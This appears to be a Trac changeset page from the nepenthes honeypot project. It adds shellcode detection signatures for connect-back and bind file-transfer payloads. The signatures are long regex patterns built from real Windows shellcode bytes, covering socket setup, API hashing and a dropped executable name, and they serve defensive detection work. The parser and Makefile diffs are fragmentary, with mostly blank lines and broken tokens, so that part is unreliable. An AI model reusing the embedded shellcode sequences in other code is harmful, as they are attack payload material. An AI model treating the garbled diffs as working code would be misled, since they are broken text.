Changeset 433

Timestamp:

03/27/06 03:26:35 (3 years ago)

Author:

common

Message:

shellcode-signatures
- added namespace bindlinktransfer::
- added bindlinktransfer::amberg
- added bindlinktransfer::bindlinktransfer
- added mapping value 'subkey', needed for wuerzbuerg xor

- added wuerzburgxor::wuerzburgxor, (the namespace does not exist yet)
- added connectbackfiletransfer::wuerzburg (no idea if it works, cant test it ... as the xor is missing)

Files:

• nepenthes/trunk/modules/shellcode-signatures/Makefile.am (modified) (1 diff)
• nepenthes/trunk/modules/shellcode-signatures/parser.h (modified) (1 diff)
• nepenthes/trunk/modules/shellcode-signatures/parser.l (modified) (2 diffs)
• nepenthes/trunk/modules/shellcode-signatures/parser.y (modified) (4 diffs)
• nepenthes/trunk/modules/shellcode-signatures/sch_namespace_bindfiletransfer.cpp (added)
• nepenthes/trunk/modules/shellcode-signatures/sch_namespace_bindfiletransfer.hpp (added)
• nepenthes/trunk/modules/shellcode-signatures/shellcode-signatures.cpp (modified) (2 diffs)
• nepenthes/trunk/modules/shellcode-signatures/shellcode-signatures.sc (modified) (3 diffs)

nepenthes/trunk/modules/shellcode-signatures/Makefile.am

@@ -22 +22 @@
-shellcodesignatures_la_SOURCES += sch_namespace_linkxor.cpp sch_namespace_linkxor.hpp
-shellcodesignatures_la_SOURCES += sch_namespace_connectbackfiletransfer.cpp sch_namespace_connectbackfiletransfer.hpp
-
+
-shellcodesignatures_la_LDFLAGS = -module -no-undefined -avoid-version
-

nepenthes/trunk/modules/shellcode-signatures/parser.h

@@ -15 +15 @@
-        sc_download,
-        sc_url,
-link,
-
+bindfiletransfer
+
-};
-
-enum sc_mapping 
-{ 
-
+
+
-        sc_size, 
-        sc_sizeinvert, 

nepenthes/trunk/modules/shellcode-signatures/parser.l

@@ -52 +52 @@
-"download"                                                      { return SC_DOWNLOAD; }
-"url"                                                           { return SC_URL; }
-
-
+
-
-"hostkey"                     { return SC_HOSTKEY; }
-"portkey"                     { return SC_PORTKEY; }
-
-
+
+
-"size"                                                          { return SC_SIZE; }
-"sizeinvert"                                            { return SC_SIZEINVERT; }
@@ -64 +64 @@
-"port"                                                          { return SC_PORT; }
-"command"                                                       { return SC_COMMAND; }
-
+   
-"pcre"                        { return SC_PCRE; }
-"pre"                         { return SC_PRELOAD; }
- 
+
-
-

nepenthes/trunk/modules/shellcode-signatures/parser.y

@@ -29 +29 @@
-SC_BIND_SHELL 
-SC_CONNECTBACK_SHELL 
-
+SC_BIND_FILETRANSFER
-SC_EXECUTE 
-SC_DOWNLOAD 
-SC_URL 
-
-
+
-SC_URI
-SC_PCRE SC_PRELOAD SC_POSTLOAD
@@ -131 +130 @@
-                shellcodes->nspace = sc_url;
-        }
-        |
-        SC_CONNECTBACK_LINK_FILETRANSFER
-        {
-                shellcodes->nspace = sc_link;
-        }
-        | 
-LINK_
-
-link
+
+
+indfiletransfer
-        }
-        ;
@@ -183 +177 @@
-                shellcodes->map[shellcodes->map_items++] = sc_key;
-        }
-
+
+
+
+
+
-        {
-                shellcodes->map[shellcodes->map_items++] = sc_size;
@@ -250 +248 @@
-%%
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-                fclose(yyin);
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+

nepenthes/trunk/modules/shellcode-signatures/shellcode-signatures.cpp

@@ -46 +46 @@
-#include "sch_namespace_linkxor.hpp"
-#include "sch_namespace_connectbackfiletransfer.hpp"
+#include "sch_namespace_bindfiletransfer.hpp"
-
-#include "ShellcodeManager.hpp"
@@ -168 +169 @@
-                        break;
-
-
-
-
-
+
+
-                        break;
-

nepenthes/trunk/modules/shellcode-signatures/shellcode-signatures.sc

@@ -199 +199 @@
-        
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
-        
-
@@ -775 +786 @@
-};
-
+// taken from shellcode-generic/sch_generic_wuerzburg.cpp
+connectbackfiletransfer::wuerzburg
+{
+        pattern
+        "\\xEB\\x27(..)(....)........"
+        "................"
+        "..............\\x2E\\x62"
+        "\\x65\\x67\\x2E\\xE8\\x0A\\x00\\x00\\x00\\x8B\\x64\\x24\\x08\\x64\\x8F\\x00\\x58"
+        "\\xEB\\xF1\\x33\\xDB\\x64\\xFF\\x33\\x64\\x89\\x23\\x8D\\x85\\x68\\x01\\x00\\x00"
+        "\\x50\\x6A\\x01\\x68\\x01\\x00\\x1F\\x00\\xE8\\x90\\x01\\x00\\x00\\x09\\xC6\\x52"
+        "\\xAE\\x0B\\xC0\\x0F\\x85\\x22\\x01\\x00\\x00\\x81\\xEC\\x00\\x02\\x00\\x00\\x54"
+        "\\x68\\x01\\x01\\x00\\x00\\xE8\\x4B\\x01\\x00\\x00\\x7D\\x75\\xDE\\xCD\\x81\\xC4"
+        "\\x00\\x02\\x00\\x00\\x6A\\x06\\x6A\\x01\\x6A\\x02\\xE8\\x36\\x01\\x00\\x00\\x6A"
+        "\\xF1\\x7A\\xFC\\x89\\x85\\x84\\x01\\x00\\x00\\x83\\xEC\\x40\\x66\\xC7\\x04\\x24"
+        "\\x02\\x00\\x66\\x8B\\x45\\xD4\\x66\\x89\\x44\\x24\\x02\\x8B\\x45\\xD6\\x35(."
+        "...)\\x89\\x44\\x24\\x04\\x2B\\xC0\\x8D\\x7C\\x24\\x08\\xAB\\xAB\\x8B"
+        "\\xDC\\x6A\\x10\\x53\\xFF\\xB5\\x84\\x01\\x00\\x00\\xE8\\xF6\\x00\\x00\\x00\\x8A"
+        "\\xFE\\xD8\\xED\\x83\\xC4\\x40\\x0B\\xC0\\x0F\\x85\\xAD\\x00\\x00\\x00\\x6A\\x04"
+        "\\x68\\x00\\x10\\x00\\x00\\x68\\x00\\x00\\x01\\x00\\x6A\\x00\\xE8\\xFC\\x00\\x00"
+        "\\x00\\xFE\\x6A\\x7A\\x69\\x89\\x85\\x7C\\x01\\x00\\x00\\x6A\\x00\\x68\\x00\\x00"
+        "\\x01\\x00\\x50\\xFF\\xB5\\x84\\x01\\x00\\x00\\xE8\\xB7\\x00\\x00\\x00\\xF6\\x71"
+        "\\x59\\x0E\\x50\\x6A\\x02\\xFF\\xB5\\x84\\x01\\x00\\x00\\xE8\\xA5\\x00\\x00\\x00"
+        "\\x41\\x58\\x7C\\x4C\\x2B\\xC0\\x50\\x50\\x6A\\x02\\x50\\x50\\x68\\x00\\x00\\x00"
+        "\\x40\\x8D\\x9D\\x6F\\x01\\x00\\x00\\x53\\xE8\\xB0\\x00\\x00\\x00\\x14\\xF1\\xF8"
+        "\\x08\\x89\\x85\\x6B\\x01\\x00\\x00\\x5A\\x83\\xF8\\xFF\\x74\\x3E\\x54\\x8B\\xC4"
+        "\\x6A\\x00\\x50\\x52\\xFF\\xB5\\x7C\\x01\\x00\\x00\\xFF\\xB5\\x6B\\x01\\x00\\x00"
+        "\\xE8\\x88\\x00\\x00\\x00\\xC3\\xD1\\x3F\\x0F\\x59\\xFF\\xB5\\x6B\\x01\\x00\\x00"
+        "\\xE8\\x78\\x00\\x00\\x00\\xD5\\xB0\\x3E\\x72\\x6A\\x05\\x8D\\x9D\\x6F\\x01\\x00"
+        "\\x00\\x53\\xE8\\x66\\x00\\x00\\x00\\xAD\\x6D\\xBF\\xE8\\x6A\\x00\\xE8\\x5B\\x00"
+        "\\x00\\x00\\x60\\xA2\\x8A\\x76\\x75\\x39\\x00\\x00\\x00\\x00\\x00\\x2E\\x5C\\x66"
+        "\\x74\\x70\\x75\\x70\\x64\\x2E\\x65\\x78\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+        "\\x00\\x00\\x00\\x00\\x00\\x00\\x53\\x6C\\x65\\x65\\x70\\x00\\x6B\\x65\\x72\\x6E"
+        "\\x65\\x6C\\x33\\x32\\x00\\x5E\\xAD\\x60\\x33\\xC0\\x2D\\xB4\\xB3\\xFF\\x87\\x50"
+        "\\x35\\x7F\\x7E\\x2E\\x3C\\x50\\x05\\x24\\x21\\x04\\x1B\\x50\\x54\\xE8\\x0B\\x00"
+        "\\x00\\x00\\x26\\x80\\xAC\\xC8\\x8D\\x64\\x24\\x0C\\x93\\xEB\\x08\\x5E\\xAD\\x60"
+        "\\xE8\\x51\\x00\\x00\\x00\\x8B\\x4B\\x3C\\x8B\\x4C\\x19\\x78\\x03\\xCB\\x33\\xF6"
+        "\\x8D\\x14\\xB3\\x03\\x51\\x20\\x8B\\x12\\x03\\xD3\\x33\\xC0\\xC1\\xC0\\x07\\x32"
+        "\\x02\\x42\\x80\\x3A\\x00\\x75\\xF5\\x3B\\x44\\x24\\x1C\\x74\\x07\\x46\\x3B\\x71"
+        "\\x18\\x72\\xDD\\xCC\\x8B\\x51\\x24\\x03\\xD3\\x0F\\xB7\\x14\\x72\\x8B\\x41\\x1C"
+        "\\x03\\xC3\\x8B\\x04\\x90\\x03\\xC3\\x89\\x44\\x24\\x1C\\x61\\x89\\x85\\x80\\x01";
+//      \\x00\\x00\\xFF\\xD0\\xFF\\xE6\\x64\\x67\\x8B\\x1E\\x30\\x00\\x8B\\x5B\\x0C\\x8B\\x5B\\x1C\\x8B\\x1B\\x8B\\x5B\\x08\\xC3\\x35\\x51\\x14\\xFD\\xBD\\x95\\x0A\\x72\\x91\\xC7\\x34\\xF9\\x71\\xC8\\x99\\xC9\\x99\\xC9\\x99\\xC9\\x12\\xD2\\xA5\\x12\\xD5\\x80\\xE1\\x9A\\x52\\xAA\\x6F\\x14\\x8D\\x2A\\x9A\\xC8\\xB9\\x12\\x8B\\x9A\\x4A\\xAA\\x59\\x58\\x59\\x9E\\xAB\\x9B\\xDB\\x19\\xA3\\x99\\xC9\\xEC\\x6C\\xA2\\xDD\\xBD\\x85\\xED\\x9E\\xDF\\xA2\\xE8\\x81\\xEB\\x44\\x55\\x12\\xC8\\xBD\\x9A\\x4A\\x96\\x2E\\x8D\\xEB\\x12\\xD8\\x85\\x9A\\x5A\\x12\\x9D\\x09\\x9A\\x5A\\x10\\xDD\\xBD\\x85\\xF8\\x10\\x1C\\x19\\x98\\x99\\xC9\\x99\\xC9\\x66\\x49\\x66\\x7F\\xFD\\xFE\\x12\\x87\\xA9\\x99\\xC9\\x12\\xC2\\x95\\x12\\xC2\\x85\\x12\\x82\\x12\\xC2\\x91\\x5A\\xB7\\xFC\\xF7\\xFD\\xB7\\x90";
+
+
+        mapping(none,port,host,hostkey);        
+};
-
-/*
@@ -789 +845 @@
-
-        mapping (none,port,key);
+};
+
+
+bindfiletransfer::amberg
+{
+        pattern
+        "\\xeb\\x02\\xeb\\x6b"
+        "\\xe8\\xf9\\xff\\xff\\xff\\x53\\x55\\x56\\x57\\x8b\\x6c\\x24\\x18\\x8b\\x45\\x3c"
+        "\\x8b\\x54\\x05\\x78\\x03\\xd5\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x03\\xdd\\xe3\\x32"
+        "\\x49\\x8b\\x34\\x8b\\x03\\xf5\\x33\\xff\\xfc\\x33\\xc0\\xac\\x3a\\xc4\\x74\\x07"
+        "\\xc1\\xcf\\x0d\\x03\\xf8\\xeb\\xf2\\x3b\\x7c\\x24\\x14\\x75\\xe1\\x8b\\x5a\\x24"
+        "\\x03\\xdd\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5"
+        "\\xeb\\x02\\x33\\xc0\\x5f\\x5e\\x5d\\x5b\\x89\\x44\\x24\\x04\\x8b\\x04\\x24\\x89"
+        "\\x44\\x24\\x08\\x8b\\x44\\x24\\x04\\x83\\xc4\\x08\\xc3\\x5e\\x6a\\x30\\x59\\x64"
+        "\\x8b\\x19\\x8b\\x5b\\x0c\\x8b\\x5b\\x1c\\x8b\\x1b\\x8b\\x7b\\x08\\x83\\xec\\x1c"
+        "\\x8b\\xec\\x33\\xc0\\x50\\x68\\x2e\\x65\\x78\\x65\\x89\\x65\\x14\\x57\\x68\\xea"
+        "\\x49\\x8a\\xe8\\xff\\xd6\\x6a\\x06\\xff\\x75\\x14\\xff\\xd0\\x89\\x45\\x04\\x57"
+        "\\x68\\xdb\\x8a\\x23\\xe9\\xff\\xd6\\x89\\x45\\x0c\\x57\\x68\\x8e\\x4e\\x0e\\xec"
+        "\\xff\\xd6\\x33\\xc9\\x66\\xb9\\x6c\\x6c\\x51\\x68\\x33\\x32\\x2e\\x64\\x68\\x77"
+        "\\x73\\x32\\x5f\\x54\\xff\\xd0\\x8b\\xd8\\x53\\x68\\xb6\\x19\\x18\\xe7\\xff\\xd6"
+        "\\x89\\x45\\x10\\x53\\x68\\xe7\\x79\\xc6\\x79\\xff\\xd6\\x89\\x45\\x18\\x53\\x68"
+        "\\x6e\\x0b\\x2f\\x49\\xff\\xd6\\x6a\\x06\\x6a\\x01\\x6a\\x02\\xff\\xd0\\x89\\x45"
+        "\\x08\\x33\\xc0\\x50\\x50\\x50\\xb8\\x02\\xff(..)\\x80\\xf4\\xff\\x50\\x8b"
+        "\\xc4\\x6a\\x10\\x50\\xff\\x75\\x08\\x53\\x68\\xa4\\x1a\\x70\\xc7\\xff\\xd6\\xff"
+        "\\xd0\\x58\\x53\\x68\\xa4\\xad\\x2e\\xe9\\xff\\xd6\\x6a\\x10\\xff\\x75\\x08\\xff"
+        "\\xd0\\x33\\xc0\\x50\\x50\\xff\\x75\\x08\\x53\\x68\\xe5\\x49\\x86\\x49\\xff\\xd6"
+        "\\xff\\xd0\\x8b\\x4d\\x08\\x89\\x45\\x08\\x51\\xff\\x55\\x18\\x81\\xc4\\xfc\\xfe"
+        "\\xff\\xff\\x8b\\xdc\\x33\\xc9\\x51\\xb1\\xff\\x51\\x53\\xff\\x75\\x08\\xff\\x55"
+        "\\x10\\x85\\xc0\\x7e\\x0a\\x50\\x53\\xff\\x75\\x04\\xff\\x55\\x0c\\xeb\\xe5\\xff"
+        "\\x75\\x08\\xff\\x55\\x18\\x57\\x68\\x5b\\x4c\\x1a\\xdd\\xff\\xd6\\xff\\x75\\x04"
+        "\\xff\\xd0\\x33\\xc0\\x50\\xff\\x75\\x14\\x57\\x68\\x98\\xfe\\x8a\\x0e\\xff\\xd6"
+        "\\xff\\xd0\\x57\\x68\\xef\\xce\\xe0\\x60\\xff\\xd6\\xff\\xd0";
+
+        mapping (port,key);
-};
-*/